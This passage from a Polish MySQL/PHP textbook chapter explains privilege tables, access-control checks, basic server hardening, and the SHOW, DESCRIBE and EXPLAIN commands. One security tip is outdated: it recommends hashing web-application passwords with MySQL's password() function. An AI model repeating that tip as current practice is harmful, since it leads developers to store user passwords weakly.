będzie Y. Jeśli natomiast nie posiada on danego przywileju, to wartością odpowiedniego pola jest N.

Wszystkie przywileje zawarte w tabeli user mają charakter globalny, a więc odnoszą się do
wszystkich baz danych w systemie (z bazą mysql włącznie). W przypadku administratorów niektóre
(lub wszystkie) pola tej tabeli przyjmą więc wartość Y. Jednak dla większości użytkowników
wszystkie pola powinny mieć wartość N, gdyż zwykłym użytkownikom należy nadawać przywileje
odnoszące się tylko do wyznaczonych im baz danych, a nie do wszystkich tabel w systemie.

Dwoma kolejnymi grupami pól dostępnymi w tej tabeli są pola bezpieczeństwa oraz pola kontroli
zasobów.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 295

Do pól bezpieczeństwa zaliczają się: ssl_type, ssl_cipher_x509_issuer, x509_subject, plugin,


authentication_string oraz password_expired. Pole plugin domyślnie ma wartość NULL, lecz
można w nim określić wtyczkę uwierzytelniania, która będzie używana do uwierzytelnienia danego
konta użytkownika. Pole authentication_string może być wykorzystywane przez wtyczki. Pola
ssl_type oraz ssl_cipher są używane w przypadku, gdy została włączona obsługa połączeń SSL.

Tabela db
Większość przywilejów nadanych zwykłym użytkownikom jest przechowywana w tabeli db.

Tabela db wyznacza, którzy użytkownicy i z jakich komputerów mają dostęp do określonych baz
danych. Przywileje z tej tabeli odnoszą się do bazy danych o nazwie wyszczególnionej w tym samym
wierszu.

Schemat tej tabeli został przedstawiony w tabeli 12.2.

Tabela 12.2. Schemat tabeli db systemowej bazy danych mysql

Pole Typ
Host char(60)
Db char(64)
User char(16)

Select_priv enum('N', 'Y')

Insert_priv enum('N', 'Y')


Update_priv enum('N', 'Y')

Delete_priv enum('N', 'Y')


Create_priv enum('N', 'Y')

Drop_priv enum('N', 'Y')

Grant_priv enum('N', 'Y')


References_priv enum('N', 'Y')

Index_priv enum('N', 'Y')


Alter_priv enum('N', 'Y')

Create_tmp_tables_priv enum('N', 'Y')

Lock_tables_priv enum('N', 'Y')


Create_view_priv enum('N', 'Y')

Show_view_priv enum('N', 'Y')


Create_routine_priv enum('N', 'Y')

Alter_routine_priv enum('N', 'Y')


Execute_priv enum('N', 'Y')

Event_priv enum('N', 'Y')

Trigger_priv enum('N', 'Y')


296 Część II  Stosowanie MySQL

Tabele tables_priv, columns_priv i procs_priv


Tabele tables_priv, columns_priv, procs_priv oraz proxies_priv przechowują, odpowiednio, dane
o przywilejach związanych z tabelami, kolumnami, procedurami składowanymi oraz pośrednikami.

Struktura tych tabel jest nieco inna niż struktura user oraz db. Schematy tabel tables_priv, columns_
priv, procs_priv oraz proxies_priv są przedstawione, odpowiednio, w tabelach 12.3, 12.4, 12.5
i 12.6.

Tabela 12.3. Schemat tabeli tables_priv systemowej bazy danych mysql

Pole Typ
Host char(60)

Db char(64)

User char(16)

Table_name char(60)

Grantor char(77)

Timestamp timestamp

Table_priv set('Select', 'Insert', 'Update', 'Delete', 'Create', 'Drop', 'Grant',


'References', 'Index', 'Alter', 'Create View', 'Show view', 'Trigger')

Column_priv set('Select', 'Insert', 'Update', 'References')

Tabela 12.4. Schemat tabeli columns_priv systemowej bazy danych mysql

Pole Typ
Host char(60)

Db char(64)

User char(16)

Table_name char(64)

Column_name char(64)

Timestamp timestamp

Column_priv set('Select', 'Insert', 'Update', 'References')

Tabela 12.5. Schemat tabeli procs_priv systemowej bazy danych mysql

Pole Typ
Host char(60)

Db char(64)

User char(16)

Routine_name char(64)

Routine_type enum('FUNCTION', 'PROCEDURE')

Grantor char(77)

Proc_priv set('Execute', 'Alter Routine', 'Grant')

Timestamp timestamp
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 297

Tabela 12.6. Schemat tabeli proxies_priv systemowej bazy danych mysql

Pole Typ
Host char(60)

User char(16)

Proxied_host char(64)

Proxied_user char(16)

With_grant tinyint(1)

Grantor char(77)

Timestamp timestamp

W polu Grantor tabel tables_priv oraz procs_priv przechowywany jest identyfikator użytkownika,
który przyporządkował określone przywileje, natomiast w polu Timestamp jest zapisywana data
i godzina ich nadania. Jeśli chodzi o tabelę proxies_priv, to obecnie kolumny te nie są w niej
używane.

Kontrola dostępu: w jaki sposób MySQL używa tabel przywilejów


MySQL korzysta z tabel przywilejów w celu sprawdzenia, jakie operacje może wykonywać dany
użytkownik. Proces ten przebiega w dwóch etapach.
1. Weryfikacja połączenia. Korzystając z danych zapisanych w tabeli user, MySQL sprawdza,
czy dany użytkownik w ogóle może uzyskać dostęp do serwera baz danych. Użytkownik
rozpoznawany jest na podstawie identyfikatora, hasła oraz nazwy komputera, z którego
wychodzi żądanie połączenia. Jeżeli w tabeli user identyfikator użytkownika nie zostanie
określony, wówczas będzie on interpretowany jako dowolny. Nazwę komputera można
zapisać z użyciem symbolu wieloznacznego % — może on oznaczać dowolną nazwę
komputera lub tylko część tej nazwy (przykładowo %.przyklad.com będzie interpretowane
jako dowolny komputer, którego nazwa kończy się ciągiem .przyklad.com). Jeżeli
w polu Password nie zostanie zapisana żadna wartość, to przy logowaniu serwer MySQL
nie będzie wymagał podania hasła dostępu. Oczywiście o wiele bezpieczniej jest unikać
pustych identyfikatorów użytkownika, nazw komputera z symbolem wieloznacznym czy
też pustych haseł dostępu. Jeśli nazwa komputera będzie pustym łańcuchem, to w zasadzie
będzie to równoznaczne z użyciem znaku wieloznacznego, lecz o niższym priorytecie niż %.

2. Weryfikacja polecenia. Ilekroć zalogowany użytkownik wywoła jakiekolwiek polecenie,


MySQL w pierwszej kolejności sprawdzi, czy dysponuje on odpowiednimi przywilejami.
Najpierw sprawdzane są przywileje globalne (zapisane w tabeli user). Jeśli użytkownik nie
posiada odpowiednich przywilejów globalnych, zostanie przejrzana tabela db. Jeśli i w tych
tabelach nie ma informacji o posiadaniu przez użytkownika wymaganych przywilejów,
to MySQL zweryfikuje dane z tabeli tables_priv, a w przypadku kolejnego niepowodzenia
zostanie przeszukana tabela columns_priv. Jeżeli w danej operacji wykonywana jest
procedura składowana, MySQL sprawdzi uprawienia w tabeli procs_priv zamiast
tables_priv czy columns_priv. W przypadku próby użycia przywilejów innego użytkownika
lub przekazania innemu użytkownikowi przywileju do takiego pośredniczenia MySQL
sprawdzi tabelę proxies_priv.
298 Część II  Stosowanie MySQL

Zmiana przywilejów: kiedy zmiany zostaną uwzględnione?


Serwer MySQL automatycznie odczytuje dane z tabel przywilejów podczas uruchamiania oraz wy-
konywania poleceń GRANT i REVOKE. Gdy wiadomo, gdzie i w jaki sposób te przywileje są zapisywane,
możemy zmieniać je ręcznie. W takiej sytuacji jednak MySQL nie zauważy zmiany przywilejów.

Konieczne jest wówczas nakazanie serwerowi, aby na nowo odczytał dane z tabel przywilejów.
Można to zrobić na trzy sposoby. Pierwszy z nich polega na wpisaniu polecenia
mysql> flush privileges;

w wierszu poleceń MySQL (aby polecenie to zostało wykonane, trzeba posiadać uprawnienia admi-
nistratora). Ten sposób jest najczęściej używany w celu zastosowania nowych przywilejów.

Taki sam efekt osiągniemy, wpisując w wierszu poleceń systemu operacyjnego:


> mysqladmin flush-privileges

lub
> mysqladmin reload

W końcu, także po ponownym uruchomieniu, serwer MySQL przeładuje tabele przywilejów.

Po odświeżeniu przywilejów serwer ponownie odczyta dane o przywilejach globalnych, zanim


udzieli dostępu użytkownikowi. Przed wykonaniem polecenia use zostaną sprawdzone przywileje
odnoszące się do baz danych, natomiast przywileje dotyczące tabel i kolumn zostaną sprawdzone
po wydaniu przez użytkownika jakiegokolwiek innego polecenia.

Ochrona bazy danych


Ochrona bazy danych jest szczególnie ważna w przypadku udostępniania jej poprzez stronę WWW.
W tym podrozdziale omówimy podstawowe sposoby zabezpieczania serwera bazy danych.

MySQL z perspektywy systemu operacyjnego


Bezwzględnie należy unikać uruchamiania serwera MySQL (mysqld) z poziomu użytkownika
root w systemie operacyjnym Unix lub jemu pokrewnych. Dałoby to każdemu użytkownikowi
logującemu się do serwera baz danych prawo do odczytywania i zapisywania plików w dowolnej lo-
kalizacji w systemie operacyjnym. O fakcie tym często się zapomina, co swego czasu umożliwiło
dokonanie włamania do witryny serwera Apache. Na szczęście hakerzy nie mieli złych zamiarów,
a ich działania ograniczyły się do zwrócenia uwagi administratorom na potencjalne zagrożenie.

Zalecanym rozwiązaniem jest zarejestrowanie nowego użytkownika, przeznaczonego do urucha-


miania serwera MySQL. Dodatkowo można utworzyć odrębny katalog (w którym będą przechowy-
wane fizyczne dane), dostępny tylko dla użytkownika MySQL. W wielu systemach serwer jest
uruchamiany z poziomu użytkownika mysql z grupy mysql.

Poza tym warto tak uruchamiać serwer MySQL w wewnętrznej sieci, by pracował on za zaporą
sieciową (ang. firewall). W ten sposób można uniknąć połączeń wychodzących z nieautoryzowa-
nych komputerów — przedtem należy sprawdzić, czy istnieje możliwość połączenia z zewnętrznego
komputera przez port 3306. Jest to domyślny port wykorzystywany przez serwer MySQL i jako
taki powinien być zablokowany przez zaporę sieciową.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 299

Hasła
Każdemu użytkownikowi (szczególnie użytkownikowi root) należy nadać hasło dostępu, które
dodatkowo powinno być często zmieniane i trudne do odgadnięcia — tak jak w przypadku haseł
dostępu do systemu operacyjnego. Podstawowa zasada jest taka, że hasła te nie mogą być zwykłymi
słowami, które można znaleźć w słowniku. Najlepszym rozwiązaniem jest zastosowanie kombi-
nacji liter, cyfr oraz innych symboli.

Jeżeli hasła dostępu mają być przechowywane w plikach skryptów, to pliki te powinny być dostępne
tylko dla użytkowników, do których te hasła należą. Zasada ta odnosi się jedynie do współużyt-
kowanych środowisk hostingowych, które obecnie nie są zbyt popularne.

W skryptach PHP inicjujących połączenie z serwerem baz danych trzeba podać hasło dostępu
odpowiedniego użytkownika. Hasło to oraz identyfikator użytkownika można zapisać w oddzielnym
pliku, np. dbpolaczenie.php, który w razie potrzeby dołącza się do skryptu za pomocą polecenia
include(). Plik ten można zapisać w innej lokalizacji niż dokumenty WWW i udostępnić tylko
jednemu, wskazanemu użytkownikowi.

W przypadku przechowywania tych informacji w pliku z rozszerzeniem .inc lub jakimkolwiek


innym, znajdującym się jednak w tej samej lokalizacji co dokumenty WWW, należy upewnić
się, że plik ten zostanie przeanalizowany przez interpretator PHP, a jego zawartość nie zostanie
przypadkiem wyświetlona w przeglądarce WWW jako zwyczajny plik tekstowy. Takiej sytuacji
bezwzględnie należy unikać.

Niewskazane jest przechowywanie haseł dostępu w formie zwykłego tekstu w bazie danych.
Oczywiście MySQL utrwala hasła zarejestrowanych użytkowników w inny sposób, jednak w przy-
padku aplikacji internetowych czasami trzeba zapisać identyfikatory i hasła dostępu użytkowników
z niej korzystających w bazie danych. Dane te można przed zapisaniem zaszyfrować (jednostron-
nie, tzn. bez możliwości ich odszyfrowania) za pomocą funkcji password(). Należy jednak pamiętać,
że po zapisaniu tak zaszyfrowanego hasła poprzez polecenie INSERT w tekście polecenia SELECT,
wykonywanego w celu zalogowania użytkownika, również trzeba użyć tej samej funkcji szyfrują-
cej, aby sprawdzić, czy podane hasło dostępu jest prawidłowe.

Sposób ten zostanie wykorzystany w czasie tworzenia aplikacji PHP w części V tej książki, zatytu-
łowanej „Tworzenie praktycznych projektów PHP i MySQL”.

Przywileje użytkowników
Wiedza to moc. Czytelnik powinien się więc upewnić, że dobrze zrozumiał system przywilejów
MySQL i poznał następstwa nadania poszczególnych typów. Nie należy przyznawać użytkowni-
kowi szerszych przywilejów, niż jest to potrzebne — trzeba je sprawdzić, przeglądając tabele
przywilejów.

Należy zacząć od tego, by nie nadawać przywilejów do zarządzania bazą danych mysql żadnemu
użytkownikowi, który nie posiada uprawnień administracyjnych.

W szczególności nie powinno się nadawać przywilejów PROCESS, FILE, SHUTDOWN i RELOAD żadnemu
użytkownikowi, który nie jest administratorem, o ile nie ma takiej konieczności, a jeśli już taka
konieczność się pojawi, to należy spróbować przydzielić te uprawnienia na możliwie jak najkrót-
szy czas. Przywileju PROCESS można używać do podglądania czynności wykonywanych przez innych
użytkowników oraz wpisywanych przez nich poleceń i danych, a więc także ich haseł dostępu.
300 Część II  Stosowanie MySQL

Przywilej FILE natomiast uprawnia do odczytywania i zapisywania plików z i do systemu operacyjnego


(w tym także np. /etc/password w systemie Unix). Przywilej SUPER pozwalana na przerywanie in-
nych połączeń, modyfikację zmiennych systemowych oraz kontrolowanie replikacji. Przywilej
RELOAD pozwala na ponowne wczytywanie tabel przywilejów.

Również przywilej GRANT powinno nadawać się z rozwagą, gdyż użytkownik, który go posiada, może
nadawać innym użytkownikom takie przywileje, jakie sam ma.

I dodatkowo, co zapewne nie jest wcale oczywiste, także przywilej ALTER należy przydzielać z roz-
wagą. Użytkownicy mogą go wykorzystać do zmiany nazw tabel, a co za tym idzie, do oszukania
systemu przywilejów.

Koniecznie należy się upewnić, że podczas tworzenia użytkowników zostanie im przydzielony


dostęp wyłącznie z tych komputerów, z których będą się łączyć z serwerem bazy danych. Z tego
względu należy unikać stosowania znaków wieloznacznych w nazwach komputerów podawanych
podczas tworzenia użytkowników.

Zakres ochrony serwera MySQL można dodatkowo zwiększyć, zapisując w tabeli host adresy
IP komputerów zamiast nazw ich domen. Dzięki temu unikamy problemów spowodowanych np.
błędami serwera DNS czy działaniami hakerów. W tym celu należy uruchomić demona MySQL
z parametrem --skip-name-resolve, dzięki któremu w polu Host będzie można zapisać tylko adres
IP lub wartość localhost.

Kolejną ważną kwestią, o której należy pamiętać, jest zablokowanie możliwości uruchamiania
programu mysqladmin przez użytkowników niemających statusu administratora. Program ten
uruchamiany jest z poziomu wiersza poleceń, a więc należy przeprowadzić odpowiednie zmiany
w systemie przywilejów systemu operacyjnego.

MySQL i internet
Łączenie serwera MySQL ze stronami WWW wymaga zastosowania dodatkowych środków
ostrożności.

Doskonałym pomysłem jest zarejestrowanie nowego użytkownika, przeznaczonego wyłącznie do


nawiązywania połączenia z serwerem z poziomu konkretnej aplikacji internetowej. Dzięki temu
jest możliwe nadanie mu minimalnego zbioru wymaganych przywilejów oraz pominięcie przywile-
jów takich jak DROP, ALTER i CREATE. Na przykład taki użytkownik mógłby mieć prawo do wykony-
wania poleceń INSERT wyłącznie w tabeli Zamowienia. Jest to kolejny przykład zastosowania zasady
najmniejszego przywileju.

Wszystkie dane pochodzące od użytkownika powinny podlegać weryfikacji. Nawet gdy formularz
HTML składa się z samych pól wyboru i przycisków opcji, ktoś może próbować zmienić URL
w celu dokonania zmian w działaniu skryptu. Warto również za każdym razem sprawdzać roz-
miar danych wysyłanych przez użytkownika.

Jeżeli użytkownicy mają wysyłać do bazy poufne dane lub podawać hasła dostępu, należy zastoso-
wać protokół SSL (Secure Sockets Layer), dzięki czemu dane te będą przekazywane z przeglądarki
do serwera w formie zaszyfrowanej, a nie jako zwykły tekst. Praca z SSL zostanie omówiona
w jednym z następnych rozdziałów.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 301

Uzyskiwanie szczegółowych informacji


o bazie danych
W celu poznania struktury bazy danych, a także sprawdzenia, jakie tabele się w niej znajdują oraz
jakie zawierają kolumny, dotychczas używaliśmy tylko poleceń SHOW i DESCRIBE. W tym podroz-
dziale przedstawimy jeszcze inne metody ich wykorzystywania oraz wyjaśnimy działanie polece-
nia EXPLAIN, dzięki któremu można poznać sposób wykonywania przez serwer komendy SELECT.

Uzyskiwanie informacji poleceniem SHOW


Dotychczas używaliśmy polecenia
mysql> SHOW TABLES;

w celu otrzymania listy tabel w bazie danych.

Polecenie
mysql> SHOW DATABASES;
powoduje wyświetlenie listy wszystkich dostępnych na serwerze baz danych. Można więc użyć
polecenia SHOW TABLES w celu uzyskania listy tabel zawartych w jednej z dostępnych baz danych:
mysql> SHOW TABLES FROM Ksiazki;

Jeżeli w poleceniu SHOW TABLES nie zostanie wyspecyfikowana nazwa bazy danych, wówczas
wyświetlone zostaną tabele bazy aktualnie używanej.

Jeśli znane są nazwy tabel, można uzyskać listę kolumn w niej zawartych:
mysql> SHOW COLUMNS FROM Zamowienia FROM Ksiazki;

Jeśli nazwa bazy danych nie zostanie podana, to polecenie SHOW COLUMNS będzie się odnosiło do
bazy aktualnie używanej. Możliwe jest również użycie notacji baza.tabela:
mysql> SHOW COLUMNS FROM Ksiazki.Zamowienia;

Jeszcze inna forma polecenia SHOW pozwala na sprawdzenie przywilejów nadanych wskazanemu
użytkownikowi. Na przykład w wyniku wykonania poniższego polecenia
mysql> SHOW GRANTS FOR 'ksiazkorama';
zwrócony zostanie następujący wynik:
+------------------------------------------------------------------------- +
| Grants for ksiazkorama@% |
+--------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'ksiazkorama'@'%' IDENTIFIED BY PASSWORD
'*709DAE5A09B166086E25836CAD952AC6380691C7' |
| GRANT SELECT, INSERT, UPDATE, DELETE ON `ksiazki`.* TO 'ksiazkorama'@'%' |
+-------------------------------------------------------------------------+
2 rows in set (0.00 sec)

Wyświetlone przywileje niekoniecznie muszą odpowiadać przywilejom nadanym użytkownikowi


za pomocą polecenia GRANT, lecz wskazują tylko te, które odzwierciedlają obecny poziom uprawnień
określonego użytkownika.

Istnieje wiele innych form polecenia SHOW, których można używać. W praktyce używanych
jest ponad 30 odmian polecenia, a najbardziej popularne z nich przedstawiono w tabeli 12.7. Pełna
302 Część II  Stosowanie MySQL

lista wszystkich form polecenia SHOW znajduje się w podręczniku MySQL pod adresem http://dev.
mysql.com/doc/refman/5.6/en/show.html. We wszystkich przypadkach gdy w tabeli występuje wyra-
żenie [like_lub_where], dopasowanie wzorca można wykonać instrukcją LIKE albo przy użyciu
klauzuli WHERE.

Tabela 12.7. Formy polecenia SHOW

Forma Opis
SHOW DATABASES [like_lub_where] Wyświetla nazwy wszystkich dostępnych baz danych
SHOW [OPEN] TABLES [FROM Wyświetla listę tabel z aktualnie używanej bazy danych lub z bazy
nazwa_bazy] [like_lub_where] o nazwie nazwa_bazy
SHOW [FULL] COLUMNS FROM Wyświetla wszystkie kolumny z podanej tabeli w aktualnie używanej
nazwa_tabeli [FROM nazwa_bazy] bazie danych lub w bazie o nazwie nazwa_bazy
[like_lub_where]

SHOW INDEX FROM nazwa_tabeli Wyświetla dane o wszystkich indeksach ustawionych na wskazanej tabeli
[FROM nazwa_bazy] z aktualnie używanej bazy danych lub z bazy o nazwie nazwa_bazy, jeśli
została podana. Równoważnym poleceniem jest SHOW KEYS
SHOW [GLOBAL | SESSION] STATUS Wyświetla informacje o liczbie składników systemowych, np. liczbę
[like_lub_where] aktywnych wątków. Klauzula LIKE służy do określania wzorców nazw
tych składników, np. 'Thread%' dotyczy składników 'Threads_cached',
'Threads_connected', 'Threads_created' i 'Threads_running'
SHOW [GLOBAL|SESSION] VARIABLES Wyświetla nazwy i wartości zmiennych systemowych MySQL, np. numer
[LIKE nazwa_zmiennej] wersji. Klauzula LIKE służy do określania wzorców nazw tych zmiennych
w taki sam sposób, jak w przypadku polecenia SHOW STATUS
SHOW [FULL] PROCESSLIST Wyświetla informacje o wszystkich aktywnych procesach w systemie,
tj. aktualnie wykonywanych zapytaniach. Większość użytkowników
będzie widzieć tylko ich własny proces, jednak użytkownicy, którym nadano
przywilej PROCESS, widzą wszystkie procesy wykonywane przez system,
a więc również hasła, jeśli są zawarte w zapytaniach. Domyślnie
wyświetlanych jest 100 znaków zapytania. Użycie opcji FULL powoduje
wyświetlenie pełnych tekstów zapytań
SHOW TABLE STATUS [FROM Wyświetla informacje o wszystkich tabelach z aktualnie używanej bazy
nazwa_bazy] [like_lub_where] danych lub z bazy o nazwie nazwa_bazy, jeśli została podana, opcjonalnie
— z bazy, której nazwa pasuje do wzorca nazwa_bazy. Informacje te zawierają
określenie typu tabeli oraz czas przeprowadzenia ostatniej zmiany
SHOW GRANTS FOR Wyświetla polecenia GRANT, jakich należałoby użyć, by użytkownikowi
identyfikator_użytkownika o identyfikatorze identyfikator_użytkownika nadać aktualnie
przypisane mu przywileje
SHOW PRIVILEGES Wyświetla przywileje obsługiwane przez serwer
SHOW CREATE DATABASE db Wyświetla instrukcję CREATE DATABASE, przez którą można utworzyć
wskazaną bazę danych
SHOW CREATE TABLE nazwa_tabeli Wyświetla instrukcję CREATE TABLE, przez którą można utworzyć
wskazaną tabelę
SHOW [STORAGE] ENGINES Wyświetla listę mechanizmów składowania danych, które są dostępne
w bieżącej instalacji, oraz wskazuje domyślny z nich (mechanizmy
składowania danych zostaną szczegółowo przedstawione w rozdziale 13.)
SHOW ENGINE To polecenia ma kilka wariantów, lecz najczęściej jest stosowane w postaci
SHOW ENGINE INNODB STATUS (wcześniej miało ono postać SHOW INNODB
STATUS), która zwraca informacje o bieżącym stanie mechanizmu
składowania danych InnoDB
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 303

Tabela 12.7. Formy polecenia SHOW (ciąg dalszy)

Forma Opis
SHOW WARNINGS [LIMIT Wyświetla wszystkie błędy, ostrzeżenia i uwagi wygenerowane w trakcie
[przesuniecie,] liczba_wierszy] wykonywania ostatniej instrukcji
SHOW ERRORS [LIMIT Wyświetla wyłącznie błędy wygenerowane w trakcie wykonywania
[przesuniecie,] liczba_wierszy] ostatniej instrukcji

Uzyskiwanie informacji o kolumnach


za pomocą polecenia DESCRIBE
Zamiast polecenia SHOW COLUMNS można zamiennie użyć polecenia DESCRIBE, odpowiadającego
poleceniu DESCRIBE w systemie Oracle (jeden z systemów obsługi relacyjnych baz danych). Jego
składnia jest następująca:
DESCRIBE nazwa_tabeli [nazwa_kolumny];

Polecenie to spowoduje wyświetlenie informacji o wszystkich kolumnach z podanej tabeli lub


o konkretnej kolumnie, jeśli określona została nazwa_kolumny. Parametr ten może zawierać symbole
wieloznaczne.

Jak wykonywane są zapytania: polecenie EXPLAIN


Polecenia EXPLAIN można używać w dwojaki sposób. Pierwszy z nich:
EXPLAIN nazwa_tabeli;

działa podobnie jak polecenie DESCRIBE nazwa_tabeli lub SHOW COLUMNS FROM nazwa_tabeli.

Drugi, ciekawszy sposób, w jaki można użyć tego polecenia, pozwala na uzyskanie informacji
na temat sposobu wykonania zapytań SELECT przez serwer MySQL. W tym celu należy wpisać
słowo explain przed poleceniem SELECT.

Polecenie EXPLAIN znajduje zastosowanie w przypadku, gdy bardziej złożona kwerenda nie
zwraca oczekiwanych rezultatów lub też jej wykonanie zajmuje znacznie więcej czasu niż powinno.
Tworząc złożone zapytanie, można sprawdzić jego działanie poprzez wydanie polecenia EXPLAIN
jeszcze przed wykonaniem tego zapytania. Na podstawie otrzymanych wyników można tak
zmodyfikować zapytanie, by poprawić lub zoptymalizować jego działanie. Otrzymany rezultat służy
również celom poznawczym.

Spróbujmy na przykład wykonać poniższe zapytanie na bazie danych ksiazkorama:


EXPLAIN
SELECT Klienci.Nazwisko
FROM Klienci, Zamowienia, Pozycje_zamowione, Ksiazki
WHERE Klienci.KlientID = Zamowienia.KlientID
AND Zamowienia.ZamowienieID = Pozycje_zamowione.ZamowienieID
AND Pozycje_zamowione.ISBN = Ksiazki.ISBN
AND Ksiazki.Tytul like '%Java%';

Zapytanie to wygeneruje wyniki przedstawione poniżej. (Dane wynikowe zostały zaprezentowane


w układzie pionowym, ponieważ wiersze tej tabeli są zbyt szerokie, by zmieściły się na stronie.
Format taki można uzyskać, wpisując na końcu zapytania sekwencję \G zamiast znaku średnika).
304 Część II  Stosowanie MySQL

*************************** 1. row ***************************


id: 1
select_type: SIMPLE
table: Zamowienia
type: index
possible_keys: PRIMARY,Klientid
key: Klientid
key_len: 4
ref: NULL
rows: 3
Extra: Using index
*************************** 2. row ***************************
id: 1
select_type: SIMPLE
table: Pozycje_zamowione
type: ref
possible_keys: PRIMARY,ISBN
key: PRIMARY
key_len: 4
ref: ksiazkorama.Zamowienia.Zamowienieid
rows: 1
Extra: Using index
*************************** 3. row ***************************
id: 1
select_type: SIMPLE
table: Ksiazki
type: ALL
possible_keys: PRIMARY
key: NULL
key_len: NULL
ref: NULL
rows: 4
Extra: Using where; Using join buffer (flat, BNL join)
*************************** 4. row ***************************
id: 1
select_type: SIMPLE
table: Klienci
type: eq_ref
possible_keys: PRIMARY
key: PRIMARY
key_len: 4
ref: ksiazkorama.Zamowienia.Klientid
rows: 1
Extra:
4 rows in set (0.00 sec)

Na pierwszy rzut oka otrzymane zestawienie może wydawać się bardzo skomplikowane, lecz tak
naprawdę jest ono niezmiernie użyteczne. Przeanalizujmy po kolei wszystkie kolumny wyświetlonej
tabeli.

Pierwsza kolumna o nazwie id zawiera numer identyfikacyjny instrukcji SELECT wewnątrz zapytania,
do którego odnosi się analizowany wiersz.

Kolumna select_type prezentuje typ użytego zapytania. Wartości, jakie mogą znaleźć się w tej
kolumnie, przedstawiono w tabeli 12.8.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 305

Tabela 12.8. Typy instrukcji SELECT, jakie mogą się pojawić w danych wynikowych polecenia EXPLAIN

Typ Opis
SIMPLE Stary dobry SELECT, jak w powyższym przykładzie
PRIMARY Zewnętrzne (pierwsze) zapytanie, w którym użyto podzapytań i unii
UNION Drugie lub dalsze zapytanie w unii
DEPENDENT UNION Drugie lub dalsze zapytanie w unii, zależne od zapytania głównego
UNION RESULT Wynik wykonania polecenia UNION
SUBQUERY Podzapytanie wewnętrzne
DEPENEDENT SUBQUERY Podzapytanie wewnętrzne zależne od zapytania głównego (czyli podzapytanie
skorelowane)
DERIVED Podzapytanie użyte w klauzuli FROM
MATERIALIZED Podzapytanie wyznaczane wcześniej
UNCACHEABLE SUBQUERY Podzapytanie, którego wyniku nie należy zapisywać w buforze i dla każdego
wiersza trzeba je wykonywać na nowo
UNCACHEABLE UNION Drugie lub kolejne polecenie UNION należące do podzapytania, którego nie
należy zapisywać w buforze

W kolumnie table figurują nazwy wszystkich tabel potrzebnych do wykonania zapytania. Każdy
z wierszy zawiera szczegółowe informacje na temat sposobu, w jaki dana tabela jest używana
w czasie przetwarzania zapytania. W naszym przykładzie jest oczywiste, że do wykonania zapytania
zostaną użyte tabele zamowienia, pozycje_zamowione, klienci i ksiazki (te informacje są już zresztą
zawarte w samym tekście zapytania).

Kolumna type określa sposób, w jaki dana tabela jest łączona z innymi w czasie przetwarzania
zapytania. Zestaw wszystkich wartości, jakie mogą być wyświetlone w tej kolumnie, jest ukazany
w tabeli 12.9. Wartości te uszeregowane są w kolejności od najszybciej do najwolniej wykonywa-
nych połączeń. Dzięki temu wiadomo, ile wierszy tabeli musi zostać odczytanych w celu wyko-
nania zapytania.

Tabela 12.9. Możliwe typy połączeń wyświetlanych przez polecenie EXPLAIN

Typ Opis
const lub system Dane z tabeli są odczytywane tylko jeden raz. Dzieje się tak w przypadku, gdy tabela
zawiera tylko jeden wiersz. Wartość system wskazuje, iż jest to tabela systemowa;
w przeciwnym wypadku wyświetlana jest wartość const
eq_ref Dla każdego zbioru wierszy z tabeli dołączanej jest odczytywany tylko jeden wiersz
wskazanej tabeli. Sytuacja taka ma miejsce wtedy, gdy połączenie dokonywane jest na
podstawie wszystkich pól indeksu ustawionego na tej tabeli i jest to indeks typu UNIQUE
lub klucz podstawowy
fulltext Połączenie jest wykonywane przy użyciu indeksu fulltext
ref Dla każdego zbioru wierszy z tabeli dołączanej odczytywany jest zbiór wszystkich
pasujących wierszy ze wskazanej tabeli. Do sytuacji tej dochodzi wtedy, gdy połączenie
nie może zostać przeprowadzone na podstawie tylko jednego wiersza spełniającego
warunek połączenia, tzn. gdy połączenie odbywa się tylko na podstawie części klucza
lub gdy klucz ten nie ma atrybutu UNIQUE lub nie jest kluczem podstawowym
306 Część II  Stosowanie MySQL

Tabela 12.9. Możliwe typy połączeń wyświetlanych przez polecenie EXPLAIN (ciąg dalszy)

Typ Opis
ref_or_null Podobne do zapytania ref, lecz w tym przypadku MySQL wyszuka również wiersze
mające wartość NULL (ten typ jest używany najczęściej w podzapytaniach)
index_merge Użyto optymalizacji Index Merge
unique_subquery Połączeń tego typu używa się w celu zastąpienia zapytania ref podzapytaniami IN,
w których zwracany jest jeden unikatowy wiersz
index_subquery Połączenie tego typu jest podobne do połączenia unique_subquery, lecz używa się go
w przypadku indeksowanych podzapytań, które nie są unikatowe
range Dla każdego zbioru wierszy z tabeli dołączanej odczytywany jest zbiór wierszy
ze wskazanej tabeli, których wartości należą do określonego zbioru
index Cały indeks zostaje odczytany
ALL Każdy wiersz tabeli zostaje odczytany

W analizowanym przykładzie widać, że jedna tabela łączona jest połączeniem typu eq_ref (tabela
Klienci), w jednej używane jest połączenie typu ref (tabela Pozycje_zamowione), następna jest łączona
połączeniem typu index (tabela Zamowienia), a w przypadku kolejnej następuje połączenie typu ALL,
czyli odczytywane są wszystkie wiersze tych tabel.

Uzupełnieniem tych danych są informacje zawarte w kolumnie rows. W kolumnie tej wyświetlona
jest przybliżona liczba wierszy, które należy odczytać w celu dokonania połączenia. Wartości te
można pomnożyć przez siebie dla otrzymania liczby wszystkich wierszy, które zostaną odczytane
w trakcie przetwarzania zapytania. Wykonujemy w tym przypadku mnożenie, gdyż połączenie
jest w istocie kombinacją wszystkich wierszy poszczególnych tabel (zobacz rozdział 10.). Należy
zwrócić uwagę, że otrzymana wartość będzie liczbą wierszy odczytanych, a nie zwróconych
w odpowiedzi, oraz że będzie to tylko wartość przybliżona — MySQL nie może rozpoznać dokład-
nej liczby wierszy bez wykonania zapytania.
Oczywiście im mniejsza będzie ta liczba, tym lepiej. Na razie baza księgarni „Książkorama”
zawiera niewielką liczbę danych, lecz kiedy jej rozmiar zacznie się zwiększać, wydłużać się będzie
również czas wykonania zapytania. Powrócimy do tej sprawy w dalszej części rozdziału.

Jak można się spodziewać, kolumna possible_keys wyświetla klucze, które mogą zostać wykorzy-
stane do łączenia tabel.

W kolumnie key wypisane są te klucze, które rzeczywiście zostały użyte przez serwer MySQL
lub wartości NULL w przypadku, gdy nie użyto żadnego klucza.
